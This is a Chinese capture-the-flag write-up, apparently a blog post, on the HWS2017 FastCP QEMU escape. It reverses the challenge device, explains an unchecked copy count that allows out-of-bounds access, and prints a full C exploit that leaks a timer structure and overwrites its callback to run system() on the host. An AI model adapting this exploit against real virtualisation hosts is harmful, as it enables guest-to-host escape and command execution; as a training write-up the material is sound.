• 【qemu逃逸】HWS2017-FastCP


    前言

    虚拟机用户名:root

    虚拟机密码:无密码

    本题有符号,所以对于设备定位啥的就不多说了,直接逆向设备吧。

    设备逆向

    在 realize 函数中设置一个时钟任务,并且可以看到只注册了 mmio,大小为 0x100000。

    我们先看下设备结构体  FastCPState:

    在大小为 0x1000 的 CP_buffer 下定义了一个 QEMUTimer 结构体,这里大概可以猜到就是劫持 cp_timer 了。

    fastcp_mmio_read

    该函数很简单,就是读取 FastCPState->cp_state 中的值。

     fastcp_mmio_write 

    该函数也很简单,就是设置 FastCPState->cp_state 中的值,并且当 addr = 24 时,会触发定时任务,其会调用回调函数 fastcp_cp_timer。

    fastcp_cp_timer

    漏洞就在回调函数中,在对物理内存进行读写的实话没有检查 CP_cnt 的大小,从而导致越界读写。

    漏洞利用

    利用很简单,程序本身有 system 导入符号。所以只需要:

    1、越界读 QEMUTimer 中的数据从而泄漏 FastCPState 地址和 system@plt 地址

    2、越界写 QEMUTimer,使得 cb = system@plt,opaque = CP_buffer,并在 CP_buffer 中写好 cmd

    3、触发时钟任务,从而导致任意命令执行

    exp 如下:

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. void binary_dump(char *desc, void *addr, int len) {
    8. uint64_t *buf64 = (uint64_t *) addr;
    9. uint8_t *buf8 = (uint8_t *) addr;
    10. if (desc != NULL) {
    11. printf("\033[33m[*] %s:\n\033[0m", desc);
    12. }
    13. for (int i = 0; i < len / 8; i += 4) {
    14. printf(" %04x", i * 8);
    15. for (int j = 0; j < 4; j++) {
    16. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    17. }
    18. printf(" ");
    19. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    20. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    21. }
    22. puts("");
    23. }
    24. }
    25. void * mmio_base;
    26. void mmio_init()
    27. {
    28. int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
    29. if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);
    30. mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    31. if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
    32. if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
    33. printf("[+] mmio_base: %#p\n", mmio_base);
    34. }
    35. uint64_t gva_to_gpa(void* addr)
    36. {
    37. uint64_t page;
    38. int fd = open("/proc/self/pagemap", O_RDONLY);
    39. if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);
    40. lseek(fd, ((uint64_t)addr >> 12 << 3), 0);
    41. read(fd, &page, 8);
    42. return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
    43. }
    44. #define CP_list_cnt 16
    45. #define cmd 24
    46. #define CP_list_src 8
    47. struct CP_INFO {
    48. uint64_t CP_src;
    49. uint64_t CP_cnt;
    50. uint64_t CP_dst;
    51. };
    52. void mmio_write(uint64_t addr, uint64_t val)
    53. {
    54. *(uint64_t*)(mmio_base + addr) = val;
    55. }
    56. int main(int argc, char** argv, char** envp)
    57. {
    58. mmio_init();
    59. system("sysctl vm.nr_hugepages=30");
    60. void * buf = mmap(0, 512 * 0x1000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);
    61. memset(buf, 'A', 0x2000);
    62. struct CP_INFO tmp;
    63. tmp.CP_src = 0;
    64. tmp.CP_cnt = 0x1020;
    65. tmp.CP_dst = gva_to_gpa(buf);
    66. mmio_write(CP_list_src, gva_to_gpa(&tmp));
    67. mmio_write(CP_list_cnt, 1);
    68. mmio_write(cmd, 4);
    69. sleep(1);
    70. binary_dump("QEMUTimer", (char*)buf+0x1000, 0x20);
    71. uint64_t timer_list = *(uint64_t*)((char*)buf+0x1000+0x8);
    72. uint64_t system_plt = *(uint64_t*)((char*)buf+0x1000+0x10) - 0x4dce80 + 0x2c2180;
    73. uint64_t CP_buffer = *(uint64_t*)((char*)buf+0x1000+0x18) + 0xa00;
    74. printf("[+] timer_list: %#p\n", timer_list);
    75. printf("[+] system_plt: %#p\n", system_plt);
    76. printf("[+] CP_buffer : %#p\n", CP_buffer);
    77. struct CP_INFO ttmp[0x11];
    78. for (int i = 0; i < 0x11; i++)
    79. {
    80. ttmp[i].CP_src = gva_to_gpa(buf);
    81. ttmp[i].CP_cnt = 0x1020;
    82. ttmp[i].CP_dst = gva_to_gpa(buf);
    83. }
    84. char * scmd = "xcalc";
    85. strcpy(buf, scmd);
    86. *(uint64_t*)((char*)buf+0x1000) = 0xffffffffffffffff;
    87. *(uint64_t*)((char*)buf+0x1000+0x8) = timer_list;
    88. *(uint64_t*)((char*)buf+0x1000+0x10) = system_plt;
    89. *(uint64_t*)((char*)buf+0x1000+0x18) = CP_buffer;
    90. mmio_write(CP_list_cnt, 0x11);
    91. mmio_write(CP_list_src, gva_to_gpa(ttmp));
    92. mmio_write(cmd, 1);
    93. sleep(1);
    94. mmio_write(cmd, 1);
    95. return 0;
    96. }

    效果如下:

    坑点

    cpu_physical_memory_rw 函数是直接对物理内存进行读写,所以当我们读取超过一页大小的数据时,可能会由于物理内存不连续而导致无法正确读取数据或破坏其他数据。

    所以这里得分配连续的物理页,这里参考这篇博客,即使用大页内存,因为大页内存在物理上是连续的:Linux申请大页内存(mmap)-腾讯云开发者社区-腾讯云

  • 相关阅读:
    可能是最简单最通透的Comparable和Comparator接口返回值理解
    【接口幂等性】使用token,Redis保证接口幂等性
    Wdate插件自定义选择日期后回调和清空日期后回调
    一文理解登录鉴权(Cookie、Session、Jwt、CAS、SSO)
    Java网页版即时通讯聊天系统(附源码)
    TCP、UDP、ARP协议(持续更新)
    leetcode(力扣) 491. 递增子序列(回溯 & 去重思路)
    Java入门-Java语言概述
    vue中响应式的步骤
    English语法_介词 - by
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134216163